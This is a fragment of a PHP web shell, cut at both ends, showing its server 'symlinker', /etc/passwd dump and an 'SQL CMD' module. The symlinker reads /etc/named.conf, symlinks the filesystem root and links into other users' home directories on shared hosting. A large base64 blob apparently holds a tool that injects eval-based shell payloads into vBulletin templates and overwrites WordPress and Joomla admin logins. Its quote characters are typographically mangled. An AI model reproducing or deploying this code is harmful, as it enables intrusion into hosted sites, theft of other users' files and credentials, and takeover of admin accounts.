echo "<b> Success :now use a new user and pass 2 login in the admin panel</b> ";
}
}
}
elseif ($action == "symlinker") {
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set(‚error_log‘,NULL);
@ini_set(‚log_errors‘,0);
@ini_set(‚max_execution_time‘,0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo "<center>";
echo "<br><pre><h1>Server Symlinker</h1></pre>";
@mkdir(’sym‘,0777);
$htaccess_contents = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
$htaccess_file =@fopen (’sym/.htaccess‘,’w‘);
fwrite($htaccess_file ,$htaccess_contents);
@symlink(‚/‘,’sym/root‘);
$basename = basename(‚_FILE_‘);
$named_conf = @file(‚/etc/named.conf‘);
if(!$named_conf)
{
echo "<pre><h1>Sorry..Can’t access ‚/etc/named.conf‘ file on server </h1></pre></center>";
}
else
{
echo "<table align=’center‘ width=’60%‘ class=’table‘><td>Domains</td><td>Users</td><td>Symlink</td>";
foreach($named_conf as $named_conf1){
if(@eregi(‚zone‘,$named_conf1)){
preg_match_all(‚#zone "(.*)"#‘,$named_conf1,$url);
flush();
if(strlen(trim($url[1][0])) >2){
$user = @posix_getpwuid(@fileowner(‚/etc/valiases/‘.$url[1][0]));
$sym = $user[’name‘] ;
@symlink(‚/‘,’sym/root‘);
$sym = $url[1][0];
echo "
<tr>
<td>
<a target=’_blank‘ href=http://www.".$url[1][0].’/>‘.$sym.‘ </a>
</td>
<td>
‚.$user[’name‘]."
</td>
<td>
<a href=’sym/root/home/".$user[’name‘]."/public_html‘ target=’_blank‘>symlink </a>
</td>
</tr>";
flush();
}
}
}
}
}
elseif($action == "passwd") {
show_source(‚/etc/passwd‘);
}
elseif ($action == ’sql_cmd‘) {
@chdir(‚damane‘);
$symlinker = ‚PGhlYWQ+DQo8dGl0bGU+U1FMIENNRCAzLjAgfCBhbC1zd2lzcmU8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iY29udGVudD10eXBlIiAgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCg0KICBodG1sLGJvZHkgew0KICAgICBtYXJnaW46IDA7DQogICAgIHBhZGRpbmc6IDA7DQogICAgIG91dGxpbmU6IDA7DQp9DQoNCg0KYm9keSB7DQogICAgZGlyZWN0aW9uOiBydGw7DQogYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsNCgljb2xvcjogI2NjY2NjYzsNCiAgICAgfQ0KDQppbnB1dCx0ZXh0YXJlYSxzZWxlY3R7DQpmb250LXdlaWdodDogYm9sZDsNCmNvbG9yOiAjY2NjY2NjOw0KZGFzaGVkICNmZmZmZmY7DQpib3JkZXI6IDFweA0Kc29saWQgIzJDMkMyQzsNCmJhY2tncm91bmQtY29sb3I6ICMwODA4MDgNCn0NCg0KDQouYWxsDQp7DQogIG1hcmdpbi1sZWZ0OiBhdXRvOw0KICBtYXJnaW4tcmlnaHQ6IGF1dG87DQogIHdpZHRoOiA2MCU7DQogIGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICM4ODg4ODg7DQogIGRpcmVjdGlvbjogbHRyOw0KDQp9DQouaGRyew0KICBmb250LWZhbWlseTpUYWhvbWEsIEFyaWFsLCBzYW5zLXNlcmlmOw0KICBmb250LXNpemU6IDI3cHg7DQogIGNvbG9yOiNCQkJCQkI7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KICB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQouY29tew0KDQogIGZvbnQtc2l6ZTogMThweDsNCiAgZm9udC1mYW1pbHk6VGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZjsNCiAgY29sb3I6ICNCQkJCQkI7DQogIHRleHQtc2hhZG93OiAjRkYwMDAwOw0KfQ0KDQouZm90ZXJ7DQogIGZvbnQtc2l6ZTogOXB0Ow0KICBjb2xvcjogICM0NDQ0NDQgOw0KICB0ZXh0LWFsaWduOiBjZW50ZXINCn0NCiNkcnB7DQogIHdpZHRoOjE1MHB4Ow0KICBwb3NpdGlvbjogYWJzb2x1dGU7DQoNCiAgZmxvYXQ6IG5vbmU7DQoNCn0NCg0KDQojcm9rew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIHBhZGRpbmcgOiA0cHg7DQogIGxpc3Qtc3R5bGU6IG5vbmU7DQogIGZsb2F0OiBsZWZ0Ow0KfQ0KI3JvayBhew0KICB0ZXh0LWRlY29yYXRpb246IG5vbmU7DQogIGNvbG9yOiAjY2NjY2NjOw0KICBmb250LXNpemU6IDEwcHQ7DQogIG1hcmdpbi1sZWZ0OiAycHg7DQogIGxpc3Qtc3R5bGU6IG5vbmU7DQogIHBhZGRpbmcgOiA0cHg7DQoNCn0NCi5udmJyew0KICBib3JkZXItdG9wOiAxcHggIzIyMjIyMiBkYXNoZWQ7DQogIGhlaWdodDogMzNweDsNCiAgYmFja2dyb3VuZDogIzAwMDAwMDsNCiAgYm9yZGVyLWJvdHRvbTogMXB4ICMyMjIyMjIgZGFzaGVkOw0KICBmb250LWZhbWlseTogVGFob21hLCBBcmlhbCwgc2Fucy1zZXJpZiA7DQogIGZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KDQoubnZiciB1bHsNCiBsaXN0LXN0eWxlOiBub25lOw0KIG1hcmdpbjogMDsNCiBwYWRkaW5nOiAwOw0KDQp9DQoNCi5udmJyIHVsIGxpew0KICBmbG9hdDogbGVmdDsNCg0KfQ0KDQoubnZiciB1bCBsaSBhew0KIGRpc3BsYXk6IGJsb2NrOw0KIHRleHQtZGVjb3JhdGlvbjogbm9uZTsNCiBwYWRkaW5nOiAxMHB4IDlweCAxMHB4IDlweDsNCiAgY29sb3I6ICM5OTk5OTkgICA7DQogIGZvbnQtc2l6ZTogMTJweDsNCn0NCg0KLm52YnIgdWwgbGkgYTpob3ZlcnsNCiBjb2xvcjogI0ZGRkZGRjsNCiBib3gtc2hhZG93OiAwcHggMHB4IDNweCAjY2NjY2NjIDsNCiB0ZXh0LXNoYWRvdzogMHB4IDBweCAzcHggI0ZGRkZGRjsNCn0NCg0KI2RycHsNCiBsaXN0LXN0eWxlOiBub25lOw0KIGRpcmVjdGlvbjogbHRyOw0KICB3aWR0aDoxNTBweDsNCiAgcG9zaXRpb246IGFic29sdXRlOw0KICBkaXNwbGF5OiBub25lOw0KICBib3JkZXItYm90dG9tOnNvbGlkIDFweCAjMjIyMjIyOw0KICBib3JkZXItbGVmdDogc29saWQgMXB4ICMyMjIyMjI7DQogIGJvcmRlci1yaWdodDogc29saWQgMXB4ICMyMjIyMjI7DQp9DQoNCiNkcnB7DQogIGZsb2F0OiBub25lOw0KfQ0KDQojcm9rOmhvdmVyICNkcnB7DQogZGlzcGxheTogYmxvY2s7DQogYmFja2dyb3VuZDogIzAwMDAwMDsNCiB9DQogLnRibXsNCiBmb250LXNpemU6IDE0cHg7DQp9DQoNCi50Ym0gdHIgdGR7DQogYm9yZGVyOiBkYXNoZWQgMXB4ICMxMTExMTE7DQoNCn0NCg0KDQoNCg0KDQo8L3N0eWxlPg0KPC9oZWFkPg0KDQo8Ym9keT4NCjxiciAvPg0KPGRpdiBjbGFzcz0iYWxsIiA+DQoNCjxiciAvPjxkaXYgY2xhc3M9ImhkciI+U1FMIENNRCAzLjA8L2Rpdj48YnIgLz4NCjw/cGhwDQokcGVhZyA9IGJhc2VuYW1lKF9fRklMRV9fKTsNCg0KZWNobycNCjxkaXYgY2xhc3M9Im52YnIiPg0KIDx1bD4NCiA8bGk+PGEgaHJlZj0iJy4kcGVhZy4nIj5TUUwgQ01EPC9hPg0KDQogPC9saT4NCiA8L3VsPg0KDQogPHVsPg0KIDxsaSBpZD0icm9rIj48YSBocmVmPSIiPnZCdWxsZXRpbjwvYT4NCg0KIDxkaXYgaWQ9ImRycCI+DQogPHVsPjxhIGhyZWY9Ij9zd3M9MSIgPkluamVjdCBpbmRleDwvYT4gPC91bD4NCiA8dWw+PGEgaHJlZj0iP3N3cz00IiA+SW5qZWN0IGZhcTwvYT4gPC91bD4NCiA8dWw+PGEgaHJlZj0iP3N3cz01IiA+SW5qZWN0IGNhbGVuZGFyPC9hPiA8L3VsPg0KIDx1bD48YSBocmVmPSI/c3dzPTYiID5JbmplY3Qgc2VhcmNoPC9hPiA8L3VsPg0KIDx1bD48YSBocmVmPSI/c3dzPTciID5zaG93IG1lbWJlcnM8L2E+IDwvdWw+DQogPC9kaXY+DQoNCiA8L2xpPg0KIDwvdWw+DQoNCiAgPC91bD4NCg0KIDx1bD4NCiA8bGkgaWQ9InJvayI+PGEgaHJlZj0iIj5Xb3JkUHJlc3M8L2E+DQoNCiA8ZGl2IGlkPSJkcnAiPg0KIDx1bD48YSBocmVmPSI/c3dzPTIiID5DaGFuZ2UgYWRtaW48L2E+IDwvdWw+DQogPHVsPjxhIGhyZWY9Ij9zd3M9OCIgPnNob3cgbWVtYmVyczwvYT4gPC91bD4NCiA8L2Rpdj4NCg0KIDwvbGk+DQogPC91bD4NCg0KICA8dWw+DQogPGxpIGlkPSJyb2siPjxhIGhyZWY9IiI+Sm9vbWxhPC9hPg0KDQogPGRpdiBpZD0iZHJwIj4NCiA8dWw+PGEgaHJlZj0iP3N3cz0zIiA+Q2hhbmdlIGFkbWluPC9hPiA8L3VsPg0KIDx1bD48YSBocmVmPSI/c3dzPTkiID5zaG93IG1lbWJlcnM8L2E+IDwvdWw+DQogPC9kaXY+DQoNCiA8L2xpPg0KIDwvdWw+DQoNCjwvZGl2Pic7DQo/Pg0KDQo8P3BocA0KDQoNCiRzaGVsbCA9ICJiVkRQUzhNd0ZMNEwvZyt2WVpBV2RQUGlhVXYxNGtBUUZLcW5VVXFhcGpTWU5LRkp4Q243MzIyYWJnemNJZkR5dmwrUDcvcUtzMDREM3RTNXNKOTZNTUo5YitvaER3OHZUV2NxMzFQRjAyeUpwL1dxenZFYVprMnJCd1dVT2FGN2doQW83anJkRUdTMGRRaDR6OXplY0lLVWwwNFlPcmhWNE44MjFGRUV3WlFnYjZTbURSOFFpT2JzZHhZaGV1TWRSS05XU0g1VXh0bUtuM0crdjBQNVRJeGdOVHFoV1dSOXJZU0xBWEgvUmFVZmdZOHBiVlJPWjRWSTBhYXdxTjVlaS9jZERsUmNBaUZ3SkVJR3Y0SHl5TFRacDR0cSsvenlWT3h3T0FTWE8reVVxVUk2TG0vZ0h4aUJMRGljNm82MlVIakd1TFdRSkVrbzk5VDlHZzdBcGVVWEpGc3E1RVgrQVI3eVB3PT0iIDsNCg0KaWYoaXNzZXQoJF9SRVFVRVNUWydzd3MnXSkpDQp7DQoNCnN3aXRjaCAoJF9SRVFVRVNUWydzd3MnXSkNCnsNCg0KY2FzZSAxOg0KDQplY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNsYXNzPSJ0YWIyIiBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjQ1JSI+DQo8dHI+DQogICAgIDx0ZCA+WW91ciBpbmRleCA6PC90ZD4NCiAgICAgPHRkPjx0ZXh0YXJlYSByb3dzPSIzIiBuYW1lPSJpbmRleCI+PC90ZXh0YXJlYT48L3RkPg0KPC90cj4NCg0KDQo8dHI+DQoNCiAgICAgIDx0ZCBjb2xzcGFuPSI2IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNzAlIj4gPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNRTCIgbWF4bGVuZ3RoPSIzMCIgLz4gIDxpbnB1dCB0eXBlPSJyZXNldCIgdmFsdWU9ImNsZWFyIiBtYXhsZW5ndGg9IjMwIiAvPiA8L3RkPg0KDQo8L3RyPg0KICA8L3RhYmxlPg0KIDwvZm9ybT4gIDwvZGl2Pic7DQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pg0KICRob3N0ID0gJF9QT1NUWydob3N0J107DQokdXNlciA9ICRfUE9TVFsndXNlciddOw0KJHBhc3MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiRkYiAgID0gJF9QT1NUWydkYiddOw0KJGluZGV4ICA9ICRfUE9TVFsnaW5kZXgnXTsNCg0KaWYoaXNzZXQoJGhvc3QpICkgew0KJGNvbiA9QCBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOw0KJHNlZGIgPUAgbXlzcWxfc2VsZWN0X2RiKCRkYikgb3IgZGllOw0KJGluZGV4PXN0cl9yZXBsYWNlKCJcJyIsIiciLCRpbmRleCk7DQokY3J5cHQgID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOw0KJGNyeXB0IC49IGJhc2U2NF9lbmNvZGUoImVjaG8gXCIkaW5kZXhcIjsiKTsNCiRjcnlwdCAuPSAiXCcpKX19e1wke2V4aXQoKX19PC90ZXh0YXJlYT4iOw0KJHNxbGluZGV4ID0gIlVQREFURSBgdGVtcGxhdGVgIFNFVCBgdGVtcGxhdGVgID0gJyRjcnlwdCciIG9yIGRpZTsNCiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsaW5kZXgsJGNvbik7DQoNCmlmICgkcXVlcnkpDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KICBicmVhazsNCg0KDQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHdwID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pg0KDQogIGNhc2UgMjoNCg0KICBlY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIiBjbGFzcz0idGFiIj4NCg0KPHRyPg0KICAgICA8dGQ+dXNlciBhZG1pbiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJhZG1pbiIgLz48L3RkPg0KPC90cj4NCjx0cj4NCiAgICAgPHRkPnBhc3MgYWRtaW4mbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzYWRtaW4iIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiA8L2Rpdj4nOw0KDQokaG9zdCAgICAgICA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgICAgICAgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzICAgICAgID0gJF9QT1NUWydwYXNzJ107DQokZGIgICAgICAgICA9ICRfUE9TVFsnZGInXTsNCiR1c2VyYWRtaW4gID0gJF9QT1NUWyd1c2VyYWRtaW4nXTsNCiRwYXNzX2FkICAgID0gJF9QT1NUWydwYXNzYWRtaW4nXTsNCg0KDQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPUAgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcykgb3IgZGllIDsNCiRzZWRiID1AIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCg0KJGNyeXB0ID0gY3J5cHQoJHBhc3NfYWQpOw0KDQoNCiRxdWVyeSA9QG15c3FsX3F1ZXJ5KCJVUERBVEUgYHdwX3VzZXJzYCBTRVQgYHVzZXJfbG9naW5gID0nIi4kdXNlcmFkbWluLiInIFdIRVJFIElEID0gMSIpIG9yIGRpZTsNCiRxdWVyeSA9QG15c3FsX3F1ZXJ5KCJVUERBVEUgYHdwX3VzZXJzYCBTRVQgYHVzZXJfcGFzc2AgPSciLiRjcnlwdC4iJyBXSEVSRSBJRCA9IDEiKSBvciBkaWU7DQoNCg0KDQppZiAoJHF1ZXJ5KQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQplbHNlIGlmICghJHF1ZXJ5KQ0Kew0KICBlY2hvICJlcnJvciI7DQp9DQoNCn1lbHNlDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCg0KDQoNCiAgYnJlYWs7DQoNCg0KDQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IGpvb21sYSA+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NCg0KICBjYXNlIDM6DQogIGVjaG8gJw0KDQo8ZGl2IGNsYXNzPSJjb20iPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSBjZWxscGFkZGluZz0iNCIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjM1JSIgY2xhc3M9InRhYiI+DQogPGJyIC8+DQoNCjx0ciI+DQogICAgIDx0ZD5Ib3N0IDo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Imhvc3QiIHZhbHVlPSJsb2NhbGhvc3QiIC8+PC90ZD4NCjwvdHI+DQoNCjx0ciAiPg0KICAgICA8dGQ+dXNlciZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXIiIC8+PC90ZD4NCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPlBhc3MgOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwYXNzIi8+PC90ZD4NCg0KPC90cj4NCg0KPHRyPg0KICAgICA8dGQ+ZGImbmJzcDsmbmJzcDsmbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkYiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI1MCUiIGNsYXNzPSJ0YWIiPg0KDQo8dHI+DQogICAgIDx0ZD5kYnByZWZpeCZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImpvcCIgdmFsdWU9Impvc191c2VycyIgLz48L3RkPg0KPC90cj4NCg0KDQo8dHI+DQogICAgIDx0ZD5FbWFpbCBhZG1pbiZuYnNwOyZuYnNwOyZuYnNwOzo8L3RkPg0KICAgICA8dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImVtYWlsIiAvPjwvdGQ+DQo8L3RyPg0KDQoNCjx0cj4NCg0KICAgICAgPHRkIGNvbHNwYW49IjYiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSI3MCUiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU1FMIiBtYXhsZW5ndGg9IjMwIiAvPiAgPGlucHV0IHR5cGU9InJlc2V0IiB2YWx1ZT0iY2xlYXIiIG1heGxlbmd0aD0iMzAiIC8+IDwvdGQ+DQoNCjwvdHI+DQogIDwvdGFibGU+DQogPC9mb3JtPiA8L2Rpdj4nOw0KDQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgICA9ICRfUE9TVFsnZGInXTsNCiRqb3AgID0gJF9QT1NUWydqb3AnXTsNCiRlbWFpbCAgPSAkX1BPU1RbJ2VtYWlsJ107DQoNCmlmKGlzc2V0KCRob3N0KSApIHsNCiRjb24gPSAgQCBteXNxbF9jb25uZWN0KCRob3N0LCR1c2VyLCRwYXNzKSBvciBkaWUgOw0KJHNlZGIgPSBAIG15c3FsX3NlbGVjdF9kYigkZGIpIG9yIGRpZTsNCg0KDQokcXVlcnk9IEAgbXlzcWxfcXVlcnkoIlVQREFURSAkam9wIFNFVCBlbWFpbCA9JyIuJGVtYWlsLiInIFdIRVJFIGlkID0gMSIpIG9yIGRpZTsNCg0KDQoNCmlmICgkcXVlcnkpDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz5+X14gPz8gPz8/Pz8/Pz8/PGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCmVsc2UgaWYgKCEkcXVlcnkpDQp7DQogIGVjaG8gImVycm9yIjsNCn0NCg0KfWVsc2UNCnsNCiAgZWNobyAiPGNlbnRlcj48YnIgLz48ZGl2IGNsYXNzPSdjb20nPiEgPz8/PyA/Pz8/Pz8gPz8/Pz8/PyA8YnIgLz48YnIgLz48L2Rpdj48L2NlbnRlcj4iOw0KfQ0KDQoNCiAgYnJlYWs7DQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiIHNoZWxsIEZBUSA+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4NCiAgY2FzZSA0Og0KICBlY2hvICcNCg0KPGRpdiBjbGFzcz0iY29tIj4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGFibGUgY2VsbHBhZGRpbmc9IjQiIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIzNSUiIGNsYXNzPSJ0YWIiPg0KIDxiciAvPg0KDQo8dHIiPg0KICAgICA8dGQ+SG9zdCA6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJob3N0IiB2YWx1ZT0ibG9jYWxob3N0IiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHIgIj4NCiAgICAgPHRkPnVzZXImbmJzcDs6PC90ZD4NCiAgICAgPHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyIiAvPjwvdGQ+DQo8L3RyPg0KDQo8dHI+DQogICAgIDx0ZD5QYXNzIDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0icGFzcyIvPjwvdGQ+DQoNCjwvdHI+DQoNCjx0cj4NCiAgICAgPHRkPmRiJm5ic3A7Jm5ic3A7Jm5ic3A7OjwvdGQ+DQogICAgIDx0ZD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGIiIC8+PC90ZD4NCjwvdHI+DQoNCjwvdGFibGU+DQo8dGFibGUgY2xhc3M9InRhYjIiIGNlbGxwYWRkaW5nPSI0IiBhbGlnbj0iY2VudGVyIiB3aWR0aD0iNDUlIj4NCjx0cj4NCiAgICAgIDx0ZD4gPGJyIC8+PGNlbnRlcj5JbmplY3Rpb24gU2hlbGwgaW4gZmFxLnBocDwvY2VudGVyPjxiciAvPiA8L3RkPg0KPC90cj4NCg0KPHRyPg0KDQogICAgICA8dGQgY29sc3Bhbj0iNiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjcwJSI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTUUwiIG1heGxlbmd0aD0iMzAiIC8+ICA8aW5wdXQgdHlwZT0icmVzZXQiIHZhbHVlPSJjbGVhciIgbWF4bGVuZ3RoPSIzMCIgLz4gPC90ZD4NCg0KPC90cj4NCiAgPC90YWJsZT4NCiA8L2Zvcm0+ICA8L2Rpdj4nOw0KDQokaG9zdCA9ICRfUE9TVFsnaG9zdCddOw0KJHVzZXIgPSAkX1BPU1RbJ3VzZXInXTsNCiRwYXNzID0gJF9QT1NUWydwYXNzJ107DQokZGIgICA9ICRfUE9TVFsnZGInXTsNCiRmYXEgID0gJF9QT1NUWydpbmRleCddOw0KDQppZihpc3NldCgkaG9zdCkgKSB7DQokY29uID1AIG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MpIG9yIGRpZSA7DQokc2VkYiA9QCBteXNxbF9zZWxlY3RfZGIoJGRiKSBvciBkaWU7DQokY3J5cHQgID0gIntcJHtldmFsKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKFwnIjsNCiRjcnlwdCAuPSAiJHNoZWxsIjsNCiRjcnlwdCAuPSAiXCcpKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsNCiRzcWxmYXE9IlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRjcnlwdC4iJyBXSEVSRSB0aXRsZSA9J0ZBUSciIDsNCiRxdWVyeSA9QCBteXNxbF9xdWVyeSgkc3FsZmFxLCRjb24pOw0KDQppZiAoJHF1ZXJ5KQ0Kew0KICBlY2hvICI8Y2VudGVyPjxiciAvPjxkaXYgY2xhc3M9J2NvbSc+fl9eID8/ID8/Pz8/Pz8/PzxiciAvPjxiciAvPjwvZGl2PjwvY2VudGVyPiI7DQp9DQplbHNlIGlmICghJHF1ZXJ5KQ0Kew0KICBlY2hvICJlcnJvciI7DQp9DQoNCn1lbHNlDQp7DQogIGVjaG8gIjxjZW50ZXI+PGJyIC8+PGRpdiBjbGFzcz0nY29tJz4hID8/Pz8gPz8/Pz8/ID8/Pz8/Pz8gPGJyIC8+PGJyIC8+PC9kaXY+PC9jZW50ZXI+IjsNCn0NCiAgYnJlYWs7DQoNCg0KDQovLyA8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8PDw8IHZiIHNoZWxsIENBTEVOREFSID4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pj4+Pg0KICBjYXNlIDU6DQplY2hvICcNCg0KPGRpdiBjbGFzc